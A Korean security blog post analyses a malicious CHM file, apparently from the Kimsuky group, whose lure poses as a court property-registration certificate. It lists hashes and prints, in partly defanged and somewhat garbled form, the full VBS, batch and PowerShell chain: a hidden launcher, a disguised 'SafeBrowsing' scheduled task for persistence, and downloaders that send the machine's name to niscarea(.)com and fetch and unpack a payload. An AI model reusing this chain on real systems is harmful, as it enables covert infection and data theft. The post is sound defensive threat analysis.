꿈을꾸는 파랑새

오늘은 일단 해당 악성코드 만든 쪽이 김수키(Kimsuky) 인지 라자루스(Lazarus)인지 헷갈리지만, 私見 이지만  [HF].chm은 김수키(Kimsuky) 일 확률이 99%입니다. 뭐~대충 유추해보면 대북 관계인데. 이번에는 등기필정보 즉 부동산등기법 제2조 제4호에 있는 등기부에 새로운 권리자로 기록되는 경우 즉 매매 등 유상거래나 증여, 상속 등 무상으로 소유권을 이이전받게되면 그 권리자를 확인하기 위하여 등기관이 작성한 정보를 가지고 대한민국 법원에서 온 것처럼 위조?? 아니며 다른 컴퓨터 해킹해서 가져왔거나 북한 애들이 15,000원이라는 수수료를 내지 않을 것이며 100% 해킹했거나 위조일 확률이 높을 것입니다. 일단 해당 악성코드는 chm 파일방식을 사용하고 있으며 일단 실행을 하면 VBS Script를 동작합니다.
먼저 악성코드 해쉬값은 다음과 같습니다.
파일명:[HF].chm
사이즈:612 KB
MD5:f35b05779e9538cec363ca37ab38e287
SHA-1:d4fa57f9c9e35222a8cacddc79055c1d76907fb9
SHA-256:da79eea1198a1a10e2ffd50fd949521632d8f252fb1aadb57a45218482b9fd89

[HF].chm 악성코드 실행
[HF].chm 악성코드 실행

악성 VBS Script

Set jvliej(l)aiefla (=) GetObject("winmg(m)ts:win32(_)ProcessStartup")
Set eil(i)rlaie = jvlie(j)laiefla.SpawnInstance_
eilirlaie.ShowWindow (=) 0
bklliea = Left(WScript(.)ScriptFullName, InstrRev(WScript(.)ScriptFullName, "\") (-) 1)
Set qe(l)vkad = GetO(b)ject("winmgm(t)s:win32(_)process")
sbbrd = qelvkad(.)Create(bkll(i)ea (&) "\2034923(.)bat", Nu(l)l, eil(i)rlaie, pid)
Set qe(l)vkad = No(t)hing
Set eilir(l)aie = Not(h)ing
Set jvliejla(i)efla = No(t)hing

[HF].chm 에 포함된 VBS Scripts
[HF].chm 에 포함된 VBS Scripts

를 먼저 동작을 합니다.

코드 설명

해당 코드는 VBScript를 사용하여 윈도우 환경에서 새로운 프로세스를 시작하는 스크립트
1.Set jvlie(j)laiefla (=) Ge(t)Object("winm(g)mts:win32(_)Pr(o)cessStartup")`: WMI(Wind(o)ws Management Instrumen(t)ation)를 사용하여 win32_ProcessStartup 클래스의 새 인스턴스를 만들며 해당 클래스는 프로세스의 시작 옵션을 설정하는 데 사용
2.Set eili(r)laie = jvliejlai(e)fla(.)Sp(a)wnInstance_`: win32_Proc(e)ssStartup 클래스의 인스턴스에서 S(p)awnInstance_ 메서드를 호출하여 새로운 프로세스 인스턴스를 만듦
3.eilirla(i)e(.)Sh(o)wWindow = 0: 새로운 프로세스의 창을 숨기려고 ShowWindow 속성을 0으로 설정 0은 숨기기를 나타냄
4.bk(l)liea (=) Left(WScr(i)pt(.)ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)`:현재 스크립트 파일의 경로에서 파일명을 제외한 디렉터리 경로를 추출하여 bklliea 변수에 저장
5. Set qelvkad = GetObject("winmgmts:win32_process"):또 다른 WMI를 사용하여 win32_process 클래스의 인스턴스를 만듬
클래스는 프로세스를 조작하는 데 사용
6.sbb(r)d = qelvkad(.)Create(bklliea & "\2034923(.)bat", Null, eilirl(a)ie, pid): win32_process 클래스의 Create 메서드를 사용하여 새로운 프로세스를 생성
생성된 프로세스는 bkllie(a) & "\2034923(.)bat 경로의 배치 파일
Null은 보안 설정을 나타내며 eilir(l)aie 는 앞에서 설정한 프로세스 시작 옵션
pid 는 새로운 프로세스의 프로세스 ID를 저장하는 변수
7.Set q(e)lvkad (=) No(t)hing`, `Set eilirlaie = Nothing`(,) `Set jvliejla(i)efla (=) Nothing:사용이 끝난 객체들을 정리하기 위해 메모리에서 해제
해당 스크립트는 현재 스크립트 파일이 위치한 디렉터리에서 2034923(.)bat 파일을 실행시키는 새로운 프로세스를 시작 프로세스는 숨겨진 창으로 실행됩니다.

그리고 나서 2034923(.)bat를 실행을 하면 해당 코드 내용은 다음과 같습니다.

CyberChef 로 본 2034923.bat 코드
CyberChef 로 본 2034923.bat 코드

@echo off
pushd "(%)~dp0"
schtasks (/)query (/)tn "SafeBrowsing" > nul
if %ERRORLEVEL(%) equ (0) (goto NORMAL) else (goto REGISTER)
:REGISTER
schtasks /create /sc minute /mo 2 (/)tn "SafeBrowsing" /tr "%~dp0emlmanager(.)vbs" /f > nul
:NORM(A)L
if exist "9583423(.)bat" (
	call 9583423(.)bat > nul
	del /f /q 9583423(.)bat > nul
)
set l=https://niscarea(.)com
call 4959032(.)bat %l% > nul
call 5923924(.)bat %l% > nul

코드 설명

1.디렉터리 이동 및 작업 경로 설정:
   @echo off
   pushd "(%)~dp0
현재 스크립트 파일이 있는 디렉터리로 이동하고 나서 해당 디렉터리를 작업 경로로 설정
2. 예약 작업 확인:
schtasks /query /tn "SafeBr(o)wsing" > nul
if %ERRORLEVEL% equ 0 (goto NORMAL) else (goto REGISTER)
SafeB(r)owsing 이라는 이름의 예약 작업이 있는지 확인
schtasks 명령어의 결과에 따라 레이블로 분기
작업이 있으면 NORMAL 로 이동하고 그렇지 않으면 REGISTER로 이동
3.새로운 예약 작업 등록:
:REGISTER
schtasks /create /sc minute /mo 2 /tn "SafeBrowsing" /tr "%~dp0emlmanager.vbs" /f > nul
SafeBrowsing이라는 이름으로 2분 간격으로 실행되는 새로운 예약 작업을 등록
작업은 현재 스크립트 파일이 있는 디렉터리에 있는 emlmanager(.)vbs 파일을 실행
즉 악성코드가 컴퓨터에서 다시 시작을 하면 계속 실행을 하기 위한 것
4. 일반 작업 수행 또는 배치 파일 호출:
   :NORMAL
   if exist "9583423(.)bat" (
      call 9583423(.)bat > nul
      del /f /q 9583423(.)bat > nul
   )
9583423(.)bat 파일이 존재하면 해당 배치 파일을 호출하고 호출 후에는 해당 배치 파일을 삭제
5. 다른 두 배치 파일 호출:
set l=hxxps://niscarea(.)com
call 4959032(.)bat %l% > nul
call 5923924(.)bat %l% > nul
l 변수에 URL을 설정하고 해당 URL을 인수로 하여 두 개의 다른 배치 파일인 4959032(.)bat와 5923924(.)bat 를 호출
해당 배치 파일은 예약 작업을 통해 주기적으로 실행되며 특정 조건에 따라 다른 작업을 수행
해당 주소는 사라짐

4959032(.)bat 에 포함이 된 Powershell(파워셀) 코드
4959032(.)bat 에 포함이 된 Powershell(파워셀) 코드

4959032(.)bat 에서는 여기서 Powershell(파워셀) 코드가 있음

악성코드 소스

pushd %~(d)p0
set "l(=)%(~)1"
powershell (-)ep bypass (-)command "$l='%(l)%'(;)$c=[Convert]:
:ToB(a)se64String([System(.)Text(.)Encoding]::ASCII.GetBytes($env(:)COMPUTERNAME))
;$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)'
;$u=$l(+)'/?cn='+$c(;)$w=Ne(w)-Object System.Net.WebClie(n)t;$w.Headers(.)Add('User(-)Agent',$a);
$r=$w(.)DownloadString($u)"

코드 설명

1.pushd %~dp0: 현재 스크립트 파일이 있는 디렉터리로 이동
2.set "l=%~1":명령행 인수로 전달된 값을 변수 l 에 할당
3.PowerShell을 사용하여 웹 리소스를 다운로드
$l='%l%'(:)PowerShell 변수 $l에 명령행 인수로 전달된 값을 할당
- $c=[Convert]::ToBase64(S)tring([System.Text(.)Encoding]::ASCII(.)GetBytes($env:COMPUTERNAME)):현재 컴퓨터 이름을 Base64로 인코딩한 값을 $c 변수에 할당
$a='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)':가상의 User-Agent 문자열을 $a 변수에 할당
$u=$l(+)'/?cn='+$c:URL을 구성 해당 URL은 $l 값에 컴퓨터 이름을 Base64로 인코딩한 문자열을 추가
- $w=New-Obj(ec)t Systehxxp://m(.)Net(.)WebClient:System.Net(.)WebClient 클래스를 사용하여 새 WebClient 객체를 만듬
$w.Headers.Add('User-Agent',$a):WebClient 객체의 헤더에 User-Agent를 추가
$r=$w.Download(S)tring($u):WebClient를 사용하여 URL에서 문자열을 다운로드하고 결과를 $r 변수에 저장
해당 스크립트는 PowerShell을 사용하여 웹 리소스를 다운로드하는 간단한 작업을 수행
주로 $l 변수에 지정된 악성코드 주소 로 컴퓨터 이름을 포함하여 HTTP GET 요청을 보내고 결과를 받아오는 역할

5923924(.)bat 안에 있는 악성코드

CHM 악성코드에 포함된 이미지 파일
CHM 악성코드에 포함된 이미지 파일

@echo off
rem ===please send me
pushd (%)~dp0
set "l=(%)~1"
set fn=alo(2)93n20so
del /f /q run(.)bat > nul
call 3059602(.)bat %l% "%~dp0%fn%(.)zip" > nul
if not exist "run(.)bat" (goto END)
call run(.)bat > nul
del /f /q run(.)bat > n

코드 설명

1.pushd %~dp0:현재 스크립트 파일이 있는 디렉터리로 이동
2.set "l=%~1":명령행 인수로 전달된 값을 변수 l에 할당
3. set fn=alo293n20so: fn 변수에 alo293n20so라는 문자열을 할당
4. del /f /q run().bat > nul:현재 디렉터리에 있는 run(.)bat 파일을 강제로 삭제함
오류가 발생하더라도 출력을 숨김
5.call 3059602(.)bat %l% "%~dp0%fn%(.)zip" > nul: 3059602(.0bat파일을 호출하고 명령행 인수로 l 변수와 "run(.)bat" 파일의 경로에 fn 변수와 확장자 (.)zip 를 추가한 값을 전달
호출 결과를 숨기고 nul 파일로 출력을 전송
6.if not exist "run(.)bat (goto END): run.bat 파일이 존재하지 않으면 스크립트를 종료
7.call run.bat > nul: run(.)bat 파일을 호출하고 호출 결과를 숨김
8. del /f /q run.bat: run(.)bat 파일을 강제로 삭제
해당 스크립트의 목적은 3059602(.)bat 파일을 호출하여 어떤 작업을 수행하고 그 결과로 생성된 run(.)ba 파일을 실행 마지막으로 run.bat 파일을 삭제

3059602(.)bat 파일 내용

@echo off
rem help me
rem set a=b
pushd %(~)dp0
set "l=(%)~1"
set "f=(%)~2"
powershell -ep bypass (-)command "Add-Type -AssemblyName System.IO(.)Compression.
File(S)ystem;$l='%l%'(;)$f=(')%f%';$c=[Convert](:):ToBas(e)64String([System.Text.Encoding]:
:ASCII(.)GetBytes($env:C(O)MPUTERNAME));$a='Mozilla/5.0
(compatible; MSIE 10.0; Windows NT 6.*; WOW64; Trident/6.0)';
$u=$l+'/out(.)php?cn='+$c;$w=New-Obj(e)ct System.Net(.)WebClient;
$w.Headers.Add('User-Age(n)t',$a);$r=$w(.)DownloadString($u);if ($r.Length -gt 32)
{Remove-Item $f -Force;$b=[Convert]::FromBase6(4)String($r);[System(.)O(.)File]
::WriteAllBytes($f,$b);$h=[System.IO(.)Compression(.)ZipFile]::OpenRead($f);foreach
($e in $h.Entries){	[System.IO.Compression(.)ZipFileExtensions]:
:Extra(c)tToFile($e,$e(.)FullName,$true);}
$h.Dispose();Remove(-)Item $f -Force;}"

코드 설명

해당 배치 파일은 PowerShell을 사용하여 웹 리소스를 다운로드하고 해당 리소스가 압축 파일일 경우 압축을 해제하는 작업을 수행
1.pushd %~dp0:현재 스크립트 파일이 있는 디렉터리로 이동
2.set "l=%~1":명령행 인수로 전달된 값을 변수 l 에 할당
3.set "f=%~2":명령행 인수로 전달된 값을 변수 f 에 할당
4. PowerShell 스크립트 블록:
powershell -ep bypass (-)command "Add-Type -AssemblyName System.IO(.)Compression.Fil(e)System;$l='%l%';$f='%f%';$c=[Convert]::ToBase64S(t)ring([Systehxxp://m(.)Text.Enco(d)ing]::ASCII(.)GetBy(t)es($env:COMPUTE(R)NAME));$a='Mozilla/5(.)0 (compatible; MSIE 10(.)0; Windows NT 6.*; WOW64; Trident/6.0)';$u=$l+'/out(.)php?cn(=)'+($)c;$w=New-Object System.Net.WebClient;$w(.)Headers.Add('User-Agent',$a);$r=$w(.)Downlo(a)dString($u);if ($r.Length -(g)t 32){Remo(v)e-Item $f -Force;$b=[Co(n)vert]::FromBas(e)64String($r);[System.IO(.)File]::WriteAllBytes($f(,)$b);$h=[System(.)IO.Compression(.)ZipFile]::Op(e)nRead($f);foreach ($e in ($)h(.)Entries){ [System.IO.Compression(.)ZipF(i)leExtensions]::ExtractToFi(l)e($e,$e(.)FullName,$true);}$h.Dispose();Remove-(I)tem $f -Force;}"
Add-Type -AssemblyName System.IO.Compression.FileSystem: PowerShell에서 Zip 파일을 다룰 수 있도록 (.)NET 어셈블리를 추가
$l='%l%', $f='%f%:PowerShell 변수에 명령행 인수로 전달된 값을 할당
$c=[Convert]::ToBase64Strin(g)([System(.)Text(.)Encoding]::ASCII(.)GetBytes($env:COM(P)UTERNAME)):현재 컴퓨터 이름을 Base64로 인코딩한 값을 변수 $c에 할당
$a='Mozilla/5(.)0 (compatible; MSIE 10(.)0; Windows NT 6.*; WOW64; Trident/6(.)0)':가상의 User-Agent 문자열을 변수 $a 에 할당
$u=$l+'/out(.)php?cn='(+)$c:URL을 구성 해당 URL은 $l 값에 컴퓨터 이름을 Base64로 인코딩한 문자열을 추가
$w=New-Object System.Net(.)WebClient:System.Net(.)WebClient 클래스를 사용하여 새 WebClient 객체를 만듬
$w.Headers.Add('User-Agent',$a):WebClient 객체의 헤더에 User-Agent를 추가
$r=$w.DownloadString($u):WebClient를 사용하여 URL에서 문자열을 다운로드하고 결과를 변수 $r 에 저장
if ($r.Length -gt 32):내려진 문자열이 32보다 길면(압축 파일로 ) 다음 작업을 수행
Remove-Item $f -Force:파일이 이미 존재하는 경우 해당 파일을 강제로 삭제
$b=[Convert]::FromBa(se64)String($r):Base64로 인코딩된 문자열을 바이트 배열로 디코딩
[hxxp://m(.)IO.File]::WriteAllBytes($f,$b):디코딩된 바이트 배열을 파일로 씀
$h=[System.IO(.)Compression.ZipFile]::OpenRead($f):Zip 파일을 읽기 모드로 열기
foreach ($e in $h.Entries):각 Zip 파일 항목에 대해 다음을 수행
System.IO(.)Compression.ZipFileExtensions]::ExtractToFile($e,$e.FullName,$true):Zip 파일 항목을 압축 해제
$h.Dispose(): Zip 파일을 닫음
Remove-Item $f -Force:압축 해제 후 사용된 Zip 파일을 강제로 삭제
이러한 작업을 통해 PowerShell을 사용하여 웹 리소스를 다운로드 하고 압축 파일이면 해당 압축을 해제하는 일련의 작업이 수행바이러스토탈 결과는 다음과 같습니다.
AhnLab-V3:Downloader/CHM.Generic
ALYac:Trojan.Downloader.CHM
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
ESET-NOD32:HTML/Agent.GN
Fortinet:HLP/Agent.G1!tr
Google:Detected
Ikarus:Trojan.HTML.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Kingsoft:Win32.Troj.Undef.a
Skyhigh (SWG):Artemis!Trojan
Tencent:Bat.Trojan.Agent.Fmnw
ZoneAlarm by Check Point:HEUR:Trojan.BAT.Agent.gen
여기서 개인적으로 사용하는 노턴 시만텍(Symantec)에서 탐지하지 않아서 신고했고 Avira,Emsisoft(엠시소프트) 에서 신고했으니 해당 글이 발생 되었을 때에는 아마도 탐지하고 있을 것입니다.
결론 우리 북한은 항상 한국을 국민, 대북관계자, 부동산, 언론 등의 컴퓨터를 감염시키고 개인정보를 탈취하기 위해서 항상 노리고 있으며 결론은 백신 프로그램 설치 실시간 감시 그리고 백신프로그램을 운영하더라도 100% 탐지 못 하므로 항상 조심하는 습관을 가져야 합니다. 최소한 안랩의 V3는 설치해서 사용하는 것을 권장합니다. (물론 V3 라이트보다 그냥 속 시원하게 구매를 하는 것을 정말 권장합니다.)

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band